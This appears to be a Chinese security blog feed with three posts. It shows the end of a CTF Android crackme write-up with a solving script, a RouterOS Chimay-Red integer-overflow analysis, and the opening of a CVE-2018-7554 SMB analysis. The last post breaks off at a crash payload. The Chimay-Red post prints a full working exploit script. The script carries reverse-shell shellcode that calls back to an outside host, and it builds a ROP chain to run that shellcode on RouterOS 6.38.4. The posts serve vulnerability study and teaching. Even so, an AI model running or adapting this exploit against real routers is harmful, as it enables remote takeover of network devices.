jarsigner <span class="nt">-verbose</span> <span class="nt">-sigalg</span> SHA1withRSA <span class="nt">-digestalg</span> SHA1 <span class="nt">-keystore</span> key/key.keystore Crackme2_Jessie.apk key.keystore
</code></pre></div></div>
<p>如果立即<code class="language-plaintext highlighter-rouge">adb install</code>会因和原始apk签名不一样而拒绝安装,所以得先卸载后安装:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g4trzeuu88j20eg0mv3zo.jpg" alt="" /></p>
<p>按照出题者的尿性,定位至<code class="language-plaintext highlighter-rouge">x</code>函数,其首先调用<code class="language-plaintext highlighter-rouge">Tool::callFunc</code>并始终返回为0导致登录失败,即使修改eax为1进入后续逻辑,其会将<code class="language-plaintext highlighter-rouge">Tool::callFunc</code>生成的md5值<code class="language-plaintext highlighter-rouge"> d41d8cd98f00b204e9800998ecf8427e</code>变换得到<code class="language-plaintext highlighter-rouge">2062203020323024010d0954085a5d01</code>,和输入的密码<code class="language-plaintext highlighter-rouge">abcdefg</code>比较:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4trzf9eraj20jr0eywfg.jpg" alt="" /></p>
<p>跟进存在猫腻的<code class="language-plaintext highlighter-rouge">Tool::callFunc</code>,其动态加载java class并调用对象方法,其会调用<code class="language-plaintext highlighter-rouge">com.bear.function.Tool </code>的<code class="language-plaintext highlighter-rouge">getString</code>方法读取<code class="language-plaintext highlighter-rouge">META-INF/MAN1FE5T.MF</code>文件:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4trzfjhefj20on0ep3zh.jpg" alt="" /></p>
<p>随后根据返回内容决定是比较<code class="language-plaintext highlighter-rouge">abcdefg</code>,还是对md5值进行计算操作:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4trzfvruej213h0q6jtz.jpg" alt="" /></p>
<p>注意到开头的<code class="language-plaintext highlighter-rouge">Tool::copyFile</code>调用,有对<code class="language-plaintext highlighter-rouge">icon.png</code>的读取操作,到这里可能就是个杂项题目了,动态加载隐藏在图片中的类,遂在<code class="language-plaintext highlighter-rouge">open</code>函数处下断点得到文件路径:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g4trzg9ebbj20r80glmyb.jpg" alt="" /></p>
<p>解压得到classes.dex,<a href="https://aptx0.github.io/2017/06/01/CTF-android-apk/">dex2jar</a>转为classes-dex2jar.jar,<a href="https://github.com/java-decompiler/jd-gui">jd-gui</a>即可查看<code class="language-plaintext highlighter-rouge">Tool</code>类的源码了,其中的<code class="language-plaintext highlighter-rouge">getString</code>方法为调用<a href="https://docs.oracle.com/javase/8/docs/api/java/io/BufferedReader.html#readLine--">readLine</a>读取文件内容,<code class="language-plaintext highlighter-rouge">calcMD5</code>方法即为flag相关的计算操作:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g4trzgl8obj20y708yaat.jpg" alt="" /></p>
<p>写个py脚本即可得到最终答案<code class="language-plaintext highlighter-rouge">21382420613021345152040153575b5c</code>,注意此答案直接在apk中输入仍旧是<code class="language-plaintext highlighter-rouge">Opps!</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span>
<span class="c1">#echo -n Jessie | md5sum -
</span><span class="n">j</span> <span class="o">=</span> <span class="s">'27b61398e94ca5c6cef7bdbd38d4e255'</span>
<span class="n">j</span> <span class="o">=</span> <span class="n">j</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="s">'0123456789ABCDEF'</span>
<span class="n">m</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="n">index</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">>></span> <span class="mi">4</span> <span class="o">&</span> <span class="mh">0xF</span>
<span class="n">m</span> <span class="o">+=</span> <span class="n">p</span><span class="p">[</span><span class="n">index</span><span class="p">].</span><span class="n">lower</span><span class="p">()</span>
<span class="n">index</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">&</span> <span class="mh">0xF</span>
<span class="n">m</span> <span class="o">+=</span> <span class="n">p</span><span class="p">[</span><span class="n">index</span><span class="p">].</span><span class="n">lower</span><span class="p">()</span>
<span class="k">print</span> <span class="n">m</span>
<span class="c1">#m = '7ac66c0f148de9519b8bd264312c4d64'
#m = '0123456789abcdeffedcba9876543210'
#m = 'abcdefg\x00com/example/bear/helloworld/Control\x00'
</span><span class="n">xor2</span> <span class="o">=</span> <span class="n">m</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">8</span><span class="p">]</span>
<span class="n">and2</span> <span class="o">=</span> <span class="n">m</span><span class="p">[</span><span class="mi">8</span><span class="p">:</span><span class="mi">16</span><span class="p">]</span>
<span class="n">xor1</span> <span class="o">=</span> <span class="n">m</span><span class="p">[</span><span class="mi">16</span><span class="p">:</span><span class="mi">24</span><span class="p">]</span>
<span class="n">and1</span> <span class="o">=</span> <span class="n">m</span><span class="p">[</span><span class="mi">24</span><span class="p">:</span><span class="mi">32</span><span class="p">]</span>
<span class="k">print</span> <span class="n">and1</span>
<span class="n">r</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">r</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">and1</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">&</span><span class="nb">ord</span><span class="p">(</span><span class="n">and2</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">r</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">xor1</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">^</span><span class="nb">ord</span><span class="p">(</span><span class="n">xor2</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="k">print</span> <span class="n">r</span>
<span class="k">print</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
</code></pre></div></div>
<h1>0x03 赛后感想</h1>
<ol>
<li>最简单的题目有点脑洞,但更希望能接触到代码混淆和反调试的更接地气的对抗题目。</li>
<li>高大上的安全方向没有想象中的难,肯花时间有动力,越过门槛剩下就是轻车熟路了。</li>
<li>入门后坚持下来,远离浅滩多见世面,起点低没关系但要有突破成长,导数得比自己强。</li>
</ol>
Larryxi
0x00 参赛初衷 懂的人会问你打过什么CTF或者挖过什么洞,仔细一想两者都会是对自己能力的突破,多参加点高质量的赛事终究是有益无害的,如果能学到新姿势或者入个门那更是赚到了。作为老油条只能被gd师傅带着打打线上赛,个人也就会做两个签到的安卓逆向题,新鲜接触青涩记录。
Chimay-Red: RouterOS Integer Overflow Analysis
2019-07-03T00:00:00+00:00
2019-07-03T00:00:00+00:00
https://larryxi.github.io/2019/07/03/chimay-red-routeros-integer-overflow-analysis
<h1>0x00 前言已近</h1>
<p>之前给同学们布置的Chimay-Red分析任务终究是要还的,其本质上是一个RouterOS的整数溢出漏洞,通过堆叠线程栈空间内容获取代码控制权。早期BigNerd95在<a href="https://github.com/BigNerd95/Chimay-Red">Github</a>上以PoC的形式对此漏洞有所分析,随后Dayton在<a href="https://blog.seekintoo.com/chimay-red.html">博客</a>上进行了详细的描述与完善。这篇文章在二者的基础上完成漏洞分析,主要关注一些自我疑问的细节,最后构造新的ROP完成漏洞利用。</p>
<!-- more -->
<h1>0x01 环境逆向</h1>
<p>RouterOS 6.38.4的<code class="language-plaintext highlighter-rouge">/nova/bin/www</code>程序中,<code class="language-plaintext highlighter-rouge">main</code>函数调用<code class="language-plaintext highlighter-rouge">pthread_attr_setstacksize</code>设置线程栈空间大小为0x20000:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g4tsndeooyj20km0b5wf3.jpg" alt="" /></p>
<p>交叉引用全局变量<code class="language-plaintext highlighter-rouge">threadAttr</code>可知,在<code class="language-plaintext highlighter-rouge">Looper::scheduleJob</code>中对每一个新连接调用<code class="language-plaintext highlighter-rouge">pthread_create</code>生成新线程处理:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4tsndoj2tj20o60a1q4m.jpg" alt="" /></p>
<p>建立2个对<code class="language-plaintext highlighter-rouge">/jsproxy</code>的HTTP请求连接,在<code class="language-plaintext highlighter-rouge">Request::parseMethod</code>解析请求方法处下断点,可以看到<code class="language-plaintext highlighter-rouge">www</code>为线程独自分配的栈空间:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4tsndz8r2j20o506o75d.jpg" alt="" /></p>
<p>与第2个线程相比,其栈空间的地址大小间隔确为0x20000,且紧邻着向低地址开辟新线程的栈空间,系统为新线程分配的栈空间的探讨内容可见<a href="https://stackoverflow.com/questions/44858528/where-are-the-stacks-for-the-other-threads-located-in-a-process-virtual-address">此处</a>:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4tsneaullj20pq0dk40z.jpg" alt="" /></p>
<p><code class="language-plaintext highlighter-rouge">pstree</code>可知系统服务程序均为<code class="language-plaintext highlighter-rouge">/nova/bin/loader</code>生成,在<code class="language-plaintext highlighter-rouge">loader</code>程序中由<code class="language-plaintext highlighter-rouge">nv::Runner::onSignal</code>实现对崩溃服务的监控和重启,但其过程是否花费精确的3秒还需大佬指点:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1g4tsneora6j20pn0cfjtj.jpg" alt="" /></p>
<h1>0x02 漏洞原理</h1>
<p>通过BinDiff或者<a href="https://github.com/BigNerd95/Chimay-Red/blob/master/POCs/CrashPOC.py">PoC</a>中对<code class="language-plaintext highlighter-rouge">Content-Length</code>的交叉引用,可知漏洞点出在<code class="language-plaintext highlighter-rouge">www</code>程序中的<code class="language-plaintext highlighter-rouge">Request::readPostData</code>函数:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1g4tsnf5kk4j20l80b33z8.jpg" alt="" /></p>
<ol>
<li>
<p>调试可知程序在处理POST请求时,由<code class="language-plaintext highlighter-rouge">/nova/lib/www/jsproxy.p</code>的<code class="language-plaintext highlighter-rouge">JSProxyServlet::doPost</code>处理,且传入<code class="language-plaintext highlighter-rouge">Request::readPostData</code>的<code class="language-plaintext highlighter-rouge">a3</code>参数为0,故不会进入上图16行逻辑:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1g4tsnfifx7j211s0gctda.jpg" alt="" /></p>
</li>
<li>
<p>17行的<code class="language-plaintext highlighter-rouge">alloca</code>函数在栈上开辟存储空间,并被内联汇编为<code class="language-plaintext highlighter-rouge">sub esp, reg</code>:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4tsnfu1u7j20ru0ghta8.jpg" alt="" /></p>
</li>
<li>
<p>18行调用<code class="language-plaintext highlighter-rouge">istream::read</code>,向相减后的栈地址处存储长度为content_length的http body。</p>
</li>
</ol>
<p>综上,eax是我们可控的http header content_length值,<code class="language-plaintext highlighter-rouge">sub</code>操作前并未做相关校验或过滤,而线程的栈空间大小是固定值0x20000,故此处存在整数溢出。意即content_length值大于线程栈空间大小时,相减可使<code class="language-plaintext highlighter-rouge">esp</code>指向低地址处的其他线程的栈空间,在接收数据后向下溢出其他线程栈空间中保存的返回地址,获取程序控制权,构造逻辑如下:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4tsng4r69j20jk0x2dhe.jpg" alt="" /></p>
<p>上图中有三点需要注意:</p>
<ol>
<li>虽然在<code class="language-plaintext highlighter-rouge">alloca</code>过程中有<code class="language-plaintext highlighter-rouge">content_length_value += 0x10</code>操作,但Step A和B中两个线程均会根据<code class="language-plaintext highlighter-rouge">Content-Length</code>进行<code class="language-plaintext highlighter-rouge">alloca</code>,最后在计算间隔时两者所的加0x10可相互抵消。</li>
<li>
<p><a href="https://github.com/BigNerd95/Chimay-Red/blob/master/StackClash_x86.py">StackClash_x86.py</a>中的<code class="language-plaintext highlighter-rouge">ALIGN_SIZE = 0x10</code>并不是对齐作用,而是<code class="language-plaintext highlighter-rouge">istream::read</code>压入的4个参数长度,公式演算可加深大家的理解:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> thread1_send_header = 0x20000 + thread2_send_header + 0x14 + thread1_send_body
thread1_content_length + 0x10 = 0x20000 + thread2_content_length + 0x10 + 0x14 + thread1_send_body
RET_ADDR_SIZE + READ_ARG_SIZE = 0x4 + 0x10
SRACK + ROP + SKIP = 0x20000 + ROP + (RET_ADDR_SIZE + READ_ARG_SIZE) + (SKIP - 0x14)
</code></pre></div> </div>
</li>
<li>Step C thread 1 向下写数据覆盖 thread 2的返回地址后,可继续向下覆盖为构造的ROP;或者将返回地址覆盖为<code class="language-plaintext highlighter-rouge">ppppr</code>,保留<code class="language-plaintext highlighter-rouge">istream::read</code>参数后跳转至Step D中thread 2存储的ROP(线程是有自有寄存器的,此脑洞思路可以接力ROP,但thread 1无法和thread 2共享pop出的<code class="language-plaintext highlighter-rouge">istream::read</code>参数,也就无法从栈上<code class="language-plaintext highlighter-rouge">strncpy</code>拷贝shellcode至堆上)。</li>
</ol>
<p><a href="https://mikrotik.com/download/changelogs#show-tab-tree_1-id-e06d147a0be32029e18acff2f5009096">Release 6.38.5</a>完成了对此漏洞的修复,首先在调用<code class="language-plaintext highlighter-rouge">Request::readPostData</code>时指定最大读取长度为0x20000:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1g4tsngf6nvj20k004y3ys.jpg" alt="" /></p>
<p>如果<code class="language-plaintext highlighter-rouge">Content-Length</code>值小于等于stacksize,使用string类型变量resize长度并接收数据:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g4tsngq46mj20no0ch752.jpg" alt="" /></p>
<h1>0x03 漏洞利用</h1>
<p>既然可以覆盖返回地址,ROP链的构造就老生常谈了,借助之前<a href="https://larry.ngrep.me/2019/05/01/routeros-smb-rce-cve-2018-7554-analysis/">CVE-2018-7554</a>的利用思路,在vdso中寻找gadget完成对mprotect的调用:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1g4tsnh82qpj20mn0b2gn9.jpg" alt="" /></p>
<p>由于程序brk分配的堆地址不变,添加权限后跳转至保存在heap上的http header,执行其中的shellcode即可反弹shell:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1g4tsnhjn6cj20ku091wg2.jpg" alt="" /></p>
<p>修改<a href="https://github.com/BigNerd95/Chimay-Red/blob/master/POCs/StackClashPOC.py">StackClashPOC.py</a>先crash www程序,令其重启初始化环境,发送的ROP为mprotect后跳至固定堆地址执行shellcode,完整代码如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="c1"># Mikrotik Chimay Red Stack Clash POC by BigNerd95
</span>
<span class="c1"># tested on RouterOS 6.38.4 (x86)
</span>
<span class="c1"># AST_STACKSIZE = 0x20000 (stack frame size per thread)
# ASLR enabled on libs only
# DEP enabled
</span>
<span class="kn">import</span> <span class="nn">socket</span><span class="p">,</span> <span class="n">time</span><span class="p">,</span> <span class="n">sys</span><span class="p">,</span> <span class="n">struct</span>
<span class="c1"># msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b '\x00' -f python -v shellcode
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xbb\xc8\xd7\xb2\x5c\xdb\xde\xd9\x74\x24\xf4\x58</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\xc9\xb1\x12\x31\x58\x12\x03\x58\x12\x83\x08</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xd3\x50\xa9\xb9\x07\x63\xb1\xea\xf4\xdf\x5c\x0e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x72\x3e\x10\x68\x49\x41\xc2\x2d\xe1\x7d\x28\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x48\xfb\x4b\x25\x8b\x53\x93\xd0\x63\xa6\xe4\x0b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x28\x2f\x05\x9b\xb6\x7f\x97\x88\x85\x83\x9e\xcf</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x27\x03\xf2\x67\xd6\x2b\x80\x1f\x4e\x1b\x49\xbd</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe7\xea\x76\x13\xab\x65\x99\x23\x40\xbb\xda</span><span class="s">"</span>
<span class="k">def</span> <span class="nf">p32</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'I'</span><span class="p">,</span> <span class="n">x</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">makeHeader</span><span class="p">(</span><span class="n">num</span><span class="p">):</span>
<span class="n">header</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
<span class="n">header</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"POST /jsproxy HTTP/1.1</span><span class="se">\r\n</span><span class="s">"</span>
<span class="n">header</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"User-Agent: "</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="s">'latin'</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\r\n</span><span class="s">"</span>
<span class="n">header</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"Content-Length: "</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">num</span><span class="p">),</span> <span class="s">'ascii'</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\r\n\r\n</span><span class="s">"</span>
<span class="k">return</span> <span class="n">header</span>
<span class="k">def</span> <span class="nf">makeSocket</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">()</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Error connecting to socket"</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Connected"</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="k">return</span> <span class="n">s</span>
<span class="k">def</span> <span class="nf">socketSend</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Error sending data"</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Sent"</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">stackClash</span><span class="p">(</span><span class="n">ip</span><span class="p">):</span>
<span class="c1"># 1) Start 2 threads
</span> <span class="c1"># open 2 socket so 2 threads are created
</span> <span class="n">s1</span> <span class="o">=</span> <span class="n">makeSocket</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="mi">80</span><span class="p">)</span> <span class="c1"># socket 1, thread A
</span> <span class="n">s2</span> <span class="o">=</span> <span class="n">makeSocket</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="mi">80</span><span class="p">)</span> <span class="c1"># socket 2, thread B
</span>
<span class="c1"># 2) Stack Clash
</span> <span class="c1"># 2.1) send post header with Content-Length 0x20900 to socket 1 (thread A)
</span> <span class="n">socketSend</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="n">makeHeader</span><span class="p">(</span><span class="mh">0x20900</span><span class="p">))</span> <span class="c1"># thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
</span>
<span class="c1"># 2.2) send 0x700-0x14 bytes as post data to socket 1 (thread A)
</span> <span class="n">socketSend</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="p">(</span><span class="mh">0x700</span><span class="o">-</span><span class="mi">20</span><span class="p">))</span> <span class="c1"># increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
</span>
<span class="c1"># 2.3) send post header with Content-Length 0x200 to socket 2 (thread B)
</span> <span class="n">socketSend</span><span class="p">(</span><span class="n">s2</span><span class="p">,</span> <span class="n">makeHeader</span><span class="p">(</span><span class="mh">0x200</span><span class="p">))</span> <span class="c1"># thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
</span>
<span class="c1"># 3) Send ROP chain
</span> <span class="c1"># send 4 byte to socket 1 (thread A) to overwrite a return address of a function in thread B
</span> <span class="c1"># socketSend(s1, struct.pack('<L', 0x13371337)) # [ROP chain addresses start here]
</span> <span class="c1"># add here your ROP chain addresses
</span> <span class="n">rop</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
<span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0805212d</span><span class="p">)</span> <span class="c1"># pop ebx ; pop esi ; pop edi ; pop ebp ; ret
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0805d000</span><span class="p">)</span> <span class="c1"># ebx -> addr for mprotect
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># esi -> junk
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># edi -> junk
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># ebp -> junk
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0804fb48</span><span class="p">)</span> <span class="c1"># pop eax ; ret
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x7d</span><span class="p">)</span> <span class="c1"># eax -> mprotect systemcall
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xffffe425</span><span class="p">)</span> <span class="c1"># pop edx ; pop ecx ; ret
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x7</span><span class="p">)</span> <span class="c1"># edx -> prot for mprotect
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xe000</span><span class="p">)</span> <span class="c1"># ecx -> len for mprotect
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xffffe422</span><span class="p">)</span> <span class="c1"># int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># ebp -> junk
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># edx -> junk
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># ecx -> junk
</span> <span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08061c28</span><span class="p">)</span> <span class="c1"># addr for shellcode in heap
</span>
<span class="n">socketSend</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="n">rop</span><span class="p">)</span>
<span class="c1"># 4) Start ROP chain
</span> <span class="n">s2</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> <span class="c1"># close socket 2 to return from the function of thread B and start ROP chain
</span>
<span class="k">def</span> <span class="nf">crash</span><span class="p">(</span><span class="n">ip</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Crash..."</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">makeSocket</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="mi">80</span><span class="p">)</span>
<span class="n">socketSend</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">makeHeader</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">socketSend</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mh">0x1000</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">2.5</span><span class="p">)</span> <span class="c1"># www takes up to 3 seconds to restart
</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">crash</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">stackClash</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Usage: ./StackClashPOC.py IP"</span><span class="p">)</span>
</code></pre></div></div>
<h1>0x04 反思总结</h1>
<ol>
<li>我这里使用静态的固定堆地址不太完美,可以尝试使用多个线程的header完成一种堆喷的操作。</li>
<li>分析只是了解程序的攻击面,漏洞利用是细节的一方面,但漏洞挖掘才是真正的差异化、无解的生产力。</li>
</ol>
Larryxi
0x00 前言已近 之前给同学们布置的Chimay-Red分析任务终究是要还的,其本质上是一个RouterOS的整数溢出漏洞,通过堆叠线程栈空间内容获取代码控制权。早期BigNerd95在Github上以PoC的形式对此漏洞有所分析,随后Dayton在博客上进行了详细的描述与完善。这篇文章在二者的基础上完成漏洞分析,主要关注一些自我疑问的细节,最后构造新的ROP完成漏洞利用。
RouterOS SMB RCE CVE-2018-7554 Analysis
2019-05-01T00:00:00+00:00
2019-05-01T00:00:00+00:00
https://larryxi.github.io/2019/05/01/routeros-smb-rce-cve-2018-7554-analysis
<h1>0x00 前言少叙</h1>
<p>在<a href="https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1">Finding and exploiting CVE-2018-7445</a>这篇文章中,作者使用Mutiny Fuzzer,将对SMB服务发送的初始化数据包进行dumb变异,发现崩溃进行调试后完成漏洞利用。刚好之前对RouterOS<a href="https://www.anquanke.com/post/id/172862">逆向分析</a>过一段时间,本文就针对<a href="https://mikrotik.com/download/archive#show72b4644ad32c58e1366c613ffcef5de8">6.38.4</a>的版本复现利用,并对一些文章中没有提到的点略作探究。</p>
<!-- more -->
<h1>0x01 遗留指针</h1>
<p>对Fuzz出crash部分感兴趣的同学可以参看原文,原文在分析crash时,突发奇想地单纯增加message内容长度触发了三处不一样的崩溃点,如下两个payload都能触发第一个崩溃点:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">poc</span> <span class="o">=</span> <span class="s">'</span><span class="se">\x81\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20</span><span class="s">'</span>
